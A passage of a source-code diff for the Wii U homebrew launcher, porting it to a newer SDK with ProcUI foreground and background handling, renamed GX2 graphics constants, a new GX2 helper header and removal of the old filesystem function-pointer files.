+#include +#include #include "Application.h" #include "common/common.h" -#include "dynamic_libs/os_functions.h" #include "gui/FreeTypeGX.h" #include "gui/VPadController.h" #include "gui/WPadController.h" #include "resources/Resources.h" #include "sounds/SoundHandler.hpp" +#include "system/memory.h" #include "utils/logger.h" Application *Application::applicationInstance = NULL; @@ -32,6 +35,7 @@ Application::Application() , bgMusic(NULL) , video(NULL) , mainWindow(NULL) + , fontSystem(NULL) , exitCode(EXIT_RELAUNCH_ON_LOAD) { controller[0] = new VPadController(GuiTrigger::CHANNEL_1); @@ -41,7 +45,7 @@ Application::Application() controller[4] = new WPadController(GuiTrigger::CHANNEL_5); //! load resources - Resources::LoadFiles("sd:/wiiu/apps/homebrew_launcher/resources"); + Resources::LoadFiles("fs:/wiiu/apps/homebrew_launcher/resources"); //! create bgMusic bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg")); @@ -50,6 +54,8 @@ Application::Application() bgMusic->SetVolume(50); exitApplication = false; + + ProcUIInit(OSSavesDone_ReadyToRelease); } Application::~Application() @@ -71,6 +77,8 @@ Application::~Application() log_printf("Stop sound handler\n"); SoundHandler::DestroyInstance(); + + ProcUIShutdown(); } int Application::exec() @@ -98,9 +106,9 @@ void Application::fadeOut() video->prepareDrcRendering(); mainWindow->drawDrc(video); - GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); + GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS); fadeOut.draw(video); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); video->drcDrawDone(); @@ -109,9 +117,9 @@ void Application::fadeOut() mainWindow->drawTv(video); - GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); + GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_ALWAYS); fadeOut.draw(video); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); + GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); video->tvDrawDone(); @@ -131,27 +139,84 @@ void Application::fadeOut() video->drcEnable(false); } +bool Application::procUI(void) +{ + bool executeProcess = false; + + switch(ProcUIProcessMessages(true)) + { + case PROCUI_STATUS_EXITING: + { + quit(EXIT_RELAUNCH_ON_LOAD); + break; + } + case PROCUI_STATUS_RELEASE_FOREGROUND: + { + if(video != NULL) + { + // we can turn of the screen but we don't need to and it will display the last image + //video->tvEnable(false); + //video->drcEnable(false); + + log_printf("delete fontSystem\n"); + delete fontSystem; + fontSystem = NULL; + + log_printf("delete video\n"); + delete video; + video = NULL; + + log_printf("deinitialze memory\n"); + memoryRelease(); + ProcUIDrawDoneRelease(); + } + break; + } + case PROCUI_STATUS_IN_FOREGROUND: + { + if(video == NULL) + { + log_printf("initialze memory\n"); + memoryInitialize(); + + log_printf("Initialize video\n"); + video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_RENDER_MODE_SINGLE); + log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); + + //! setup default Font + log_printf("Initialize main font system %p\n", Resources::GetFile("font.ttf")); + FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); + GuiText::setPresetFont(fontSystem); + + if(mainWindow == NULL) + { + log_printf("Initialize main window\n"); + mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); + } + + } + executeProcess = true; + break; + } + case PROCUI_STATUS_IN_BACKGROUND: + default: + break; + } + + return executeProcess; +} + + void Application::executeThread(void) { - log_printf("Initialize video\n"); - video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE); - - log_printf("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); - - //! setup default Font - log_printf("Initialize main font system\n"); - FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); - GuiText::setPresetFont(fontSystem); - - log_printf("Initialize main window\n"); - - mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); - log_printf("Entering main loop\n"); //! main GX2 loop (60 Hz cycle with max priority on core 1) while(!exitApplication) { + if(procUI() == false) + continue; + //! Read out inputs for(int i = 0; i < 5; i++) { @@ -192,9 +257,19 @@ void Application::executeThread(void) AsyncDeleter::triggerDeleteProcess(); } - fadeOut(); + log_printf("delete mainWindow\n"); delete mainWindow; + mainWindow = NULL; + + log_printf("delete fontSystem\n"); delete fontSystem; + fontSystem = NULL; + + log_printf("delete video\n"); delete video; + video = NULL; + + log_printf("deinitialze memory\n"); + memoryRelease(); } diff --git a/src/Application.h b/src/Application.h index e75a489..44f4dca 100644 --- a/src/Application.h +++ b/src/Application.h @@ -21,6 +21,9 @@ #include "video/CVideo.h" #include "system/CThread.h" +// forward declaration +class FreeTypeGX; + class Application : public CThread { public: @@ -59,6 +62,8 @@ private: Application(); virtual ~Application(); + bool procUI(void); + static Application *applicationInstance; static bool exitApplication; @@ -67,6 +72,7 @@ private: GuiSound *bgMusic; CVideo *video; MainWindow *mainWindow; + FreeTypeGX *fontSystem; GuiController *controller[5]; int exitCode; }; diff --git a/src/common/common.h b/src/common/common.h index 3f2aafa..9d152b2 100644 --- a/src/common/common.h +++ b/src/common/common.h @@ -10,7 +10,7 @@ extern "C" { #define HBL_VERSION "v1.3" #define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" +#define SD_PATH "fs:" #define WIIU_PATH "/wiiu" #ifndef MEM_BASE diff --git a/src/common/fs_defs.h b/src/common/fs_defs.h deleted file mode 100644 index feda725..0000000 --- a/src/common/fs_defs.h +++ /dev/null @@ -1,62 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include "types.h" - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif - -#endif /* FS_DEFS_H */ - diff --git a/src/common/gx2_ext.h b/src/common/gx2_ext.h new file mode 100644 index 0000000..2746298 --- /dev/null +++ b/src/common/gx2_ext.h @@ -0,0 +1,177 @@ +#ifndef __GX2_EXTENSION_H +#define __GX2_EXTENSION_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include +#include +#include +#include +#include +#include + +#define GX2_FALSE 0 +#define GX2_TRUE 1 +#define GX2_DISABLE 0 +#define GX2_ENABLE 1 + +#define GX2_COMMAND_BUFFER_SIZE 0x400000 +#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 +#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 +#define GX2_SHADER_ALIGNMENT 0x100 +#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 +#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 + +#define GX2_AA_BUFFER_CLEAR_VALUE 0xCC + +#define GX2_COMP_SEL_NONE 0x04040405 +#define GX2_COMP_SEL_X001 0x00040405 +#define GX2_COMP_SEL_XY01 0x00010405 +#define GX2_COMP_SEL_XYZ1 0x00010205 +#define GX2_COMP_SEL_XYZW 0x00010203 +#define GX2_COMP_SEL_XXXX 0x00000000 +#define GX2_COMP_SEL_YYYY 0x01010101 +#define GX2_COMP_SEL_ZZZZ 0x02020202 +#define GX2_COMP_SEL_WWWW 0x03030303 +#define GX2_COMP_SEL_WZYX 0x03020100 +#define GX2_COMP_SEL_WXYZ 0x03000102 + +static const u32 attribute_dest_comp_selector[20] = { + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW +}; + +static const u32 texture_comp_selector[54] = { + GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 +}; + +typedef struct _GX2Color { + u8 r, g, b, a; +} GX2Color; + +typedef struct _GX2ColorF32 { + f32 r, g, b, a; +} GX2ColorF32; + +static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa) +{ + depthBuffer->surface.dim = dim; + depthBuffer->surface.width = width; + depthBuffer->surface.height = height; + depthBuffer->surface.depth = depth; + depthBuffer->surface.mipLevels = 1; + depthBuffer->surface.format = format; + depthBuffer->surface.aa = aa; + depthBuffer->surface.use = (GX2SurfaceUse)(((format==GX2_SURFACE_FORMAT_UNORM_R24_X8) || (format==GX2_SURFACE_FORMAT_FLOAT_D24_S8)) ? + GX2_SURFACE_USE_DEPTH_BUFFER : (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE)); + depthBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT; + depthBuffer->surface.swizzle = 0; + depthBuffer->viewMip = 0; + depthBuffer->viewFirstSlice = 0; + depthBuffer->viewNumSlices = depth; + depthBuffer->depthClear = 1.0f; + depthBuffer->stencilClear = 0; + depthBuffer->hiZPtr = NULL; + depthBuffer->hiZSize = 0; + GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); + GX2InitDepthBufferRegs(depthBuffer); +} + +static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, GX2SurfaceDim dim, u32 width, u32 height, u32 depth, GX2SurfaceFormat format, GX2AAMode aa) +{ + colorBuffer->surface.dim = dim; + colorBuffer->surface.width = width; + colorBuffer->surface.height = height; + colorBuffer->surface.depth = depth; + colorBuffer->surface.mipLevels = 1; + colorBuffer->surface.format = format; + colorBuffer->surface.aa = aa; + colorBuffer->surface.use = GX2_SURFACE_USE_TEXTURE_COLOR_BUFFER_TV; + colorBuffer->surface.imageSize = 0; + colorBuffer->surface.image = NULL; + colorBuffer->surface.mipmapSize = 0; + colorBuffer->surface.mipmaps = NULL; + colorBuffer->surface.tileMode = GX2_TILE_MODE_DEFAULT; + colorBuffer->surface.swizzle = 0; + colorBuffer->surface.alignment = 0; + colorBuffer->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + colorBuffer->surface.mipLevelOffset[i] = 0; + colorBuffer->viewMip = 0; + colorBuffer->viewFirstSlice = 0; + colorBuffer->viewNumSlices = depth; + colorBuffer->aaBuffer = NULL; + colorBuffer->aaSize = 0; + for(i = 0; i < 5; i++) + colorBuffer->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); + GX2InitColorBufferRegs(colorBuffer); +} + +static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, GX2AttribFormat format) +{ + attr->location = location; + attr->buffer = buffer; + attr->offset = offset; + attr->format = format; + attr->type = GX2_ATTRIB_INDEX_PER_VERTEX; + attr->aluDivisor = 0; + attr->mask = attribute_dest_comp_selector[format & 0xff]; + attr->endianSwap = GX2_ENDIAN_SWAP_DEFAULT; +} + +static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 mipLevels, GX2SurfaceFormat format, GX2SurfaceDim dim, GX2TileMode tile) +{ + tex->surface.dim = dim; + tex->surface.width = width; + tex->surface.height = height; + tex->surface.depth = depth; + tex->surface.mipLevels = mipLevels; + tex->surface.format = format; + tex->surface.aa = GX2_AA_MODE1X; + tex->surface.use = GX2_SURFACE_USE_TEXTURE; + tex->surface.imageSize = 0; + tex->surface.image = NULL; + tex->surface.mipmapSize = 0; + tex->surface.mipmaps = NULL; + tex->surface.tileMode = tile; + tex->surface.swizzle = 0; + tex->surface.alignment = 0; + tex->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + tex->surface.mipLevelOffset[i] = 0; + tex->viewFirstMip = 0; + tex->viewNumMips = mipLevels; + tex->viewFirstSlice = 0; + tex->viewNumSlices = depth; + tex->compMap = texture_comp_selector[format & 0x3f]; + for(i = 0; i < 5; i++) + tex->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&tex->surface); + GX2InitTextureRegs(tex); +} + +#ifdef __cplusplus +} +#endif + +#endif /* COMMON_H */ + diff --git a/src/common/types.h b/src/common/types.h index 3435e56..c1eb26c 100644 --- a/src/common/types.h +++ b/src/common/types.h @@ -1,7 +1,7 @@ #ifndef TYPES_H #define TYPES_H -#include +#include #endif /* TYPES_H */ diff --git a/src/dynamic_libs/ax_functions.c b/src/dynamic_libs/ax_functions.c index fc1c571..a50440d 100644 --- a/src/dynamic_libs/ax_functions.c +++ b/src/dynamic_libs/ax_functions.c @@ -22,9 +22,9 @@ * distribution. ***************************************************************************/ #include "common/common.h" -#include "os_functions.h" +#include "exports.h" #include "ax_functions.h" - +/* EXPORT_DECL(void, AXInitWithParams, u32 * params); EXPORT_DECL(void, AXInit, void); EXPORT_DECL(void, AXQuit, void); @@ -46,9 +46,10 @@ EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); - +*/ void InitAXFunctionPointers(void) { + /* unsigned int sound_handle = 0; unsigned int *funcPointer = 0; @@ -86,6 +87,7 @@ void InitAXFunctionPointers(void) OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); + */ } void ProperlyEndTransitionAudio(void) @@ -95,7 +97,7 @@ void ProperlyEndTransitionAudio(void) void (* AXQuit_old)(void); unsigned int *funcPointer = 0; - unsigned int sound_handle; + OSDynLoadModule sound_handle; OSDynLoad_Acquire("snd_core.rpl", &sound_handle); OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old); diff --git a/src/dynamic_libs/ax_functions.h b/src/dynamic_libs/ax_functions.h index b7df998..ac2deec 100644 --- a/src/dynamic_libs/ax_functions.h +++ b/src/dynamic_libs/ax_functions.h @@ -28,32 +28,11 @@ extern "C" { #endif -#include +#include "common/types.h" void InitAXFunctionPointers(void); void ProperlyEndTransitionAudio(void); -extern void (* AXInitWithParams)(u32 * params); -extern void (* AXInit)(void); -extern void (* AXQuit)(void); -extern u32 (* AXGetInputSamplesPerSec)(void); -extern s32 (* AXVoiceBegin)(void *v); -extern s32 (* AXVoiceEnd)(void *v); -extern void (* AXSetVoiceType)(void *v, u16 type); -extern void (* AXSetVoiceOffsets)(void *v, const void *buf); -extern void (* AXSetVoiceSrcType)(void *v, u32 type); -extern void (* AXSetVoiceVe)(void *v, const void *vol); -extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); -extern void (* AXSetVoiceState)(void *v, u16 state); -extern void (* AXSetVoiceSrc)(void *v, const void *src); -extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); -extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); -extern void (* AXFreeVoice)(void *v); -extern void (* AXRegisterFrameCallback)(void * callback); -extern u32 (* AXGetVoiceLoopCount)(void * v); -extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); -extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); - #ifdef __cplusplus } #endif diff --git a/src/dynamic_libs/exports.h b/src/dynamic_libs/exports.h new file mode 100644 index 0000000..53ba488 --- /dev/null +++ b/src/dynamic_libs/exports.h @@ -0,0 +1,26 @@ +#ifndef __EXPORTS_H_ +#define __EXPORTS_H_ + +#include +#include + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; +#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); + + +#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val + +#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func, funcPointer); + +#define OS_FIND_EXPORT_EX(handle, func, func_p) \ + funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func_p, funcPointer); + +#endif diff --git a/src/dynamic_libs/fs_functions.c b/src/dynamic_libs/fs_functions.c deleted file mode 100644 index cdcc0bf..0000000 --- a/src/dynamic_libs/fs_functions.c +++ /dev/null @@ -1,120 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "fs_functions.h" -#include "os_functions.h" -#include "utils/utils.h" - -EXPORT_DECL(int, FSInit, void); -EXPORT_DECL(int, FSShutdown, void); -EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); -EXPORT_DECL(int, FSDelClient, void *pClient); -EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); -EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - -EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - -EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); -EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - -EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); -EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); -EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -void InitFSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - OS_FIND_EXPORT(coreinit_handle, FSInit); - OS_FIND_EXPORT(coreinit_handle, FSShutdown); - OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, FSDelClient); - OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); - - OS_FIND_EXPORT(coreinit_handle, FSMount); - OS_FIND_EXPORT(coreinit_handle, FSUnmount); - - OS_FIND_EXPORT(coreinit_handle, FSGetStat); - OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); - OS_FIND_EXPORT(coreinit_handle, FSRename); - OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); - OS_FIND_EXPORT(coreinit_handle, FSRemove); - OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); - - OS_FIND_EXPORT(coreinit_handle, FSOpenDir); - OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadDir); - OS_FIND_EXPORT(coreinit_handle, FSRewindDir); - OS_FIND_EXPORT(coreinit_handle, FSCloseDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSMakeDir); - OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); - - - OS_FIND_EXPORT(coreinit_handle, FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadFile); - OS_FIND_EXPORT(coreinit_handle, FSCloseFile); - - OS_FIND_EXPORT(coreinit_handle, FSFlushFile); - OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); - OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); - OS_FIND_EXPORT(coreinit_handle, FSWriteFile); -} diff --git a/src/dynamic_libs/fs_functions.h b/src/dynamic_libs/fs_functions.h deleted file mode 100644 index 7a185e1..0000000 --- a/src/dynamic_libs/fs_functions.h +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __FS_FUNCTIONS_H_ -#define __FS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "common/fs_defs.h" - -void InitFSFunctionPointers(void); - -extern int (* FSInit)(void); -extern int (* FSShutdown)(void); -extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); -extern int (* FSDelClient)(void *pClient); -extern void (* FSInitCmdBlock)(void *pCmd); -extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); - -extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); -extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t 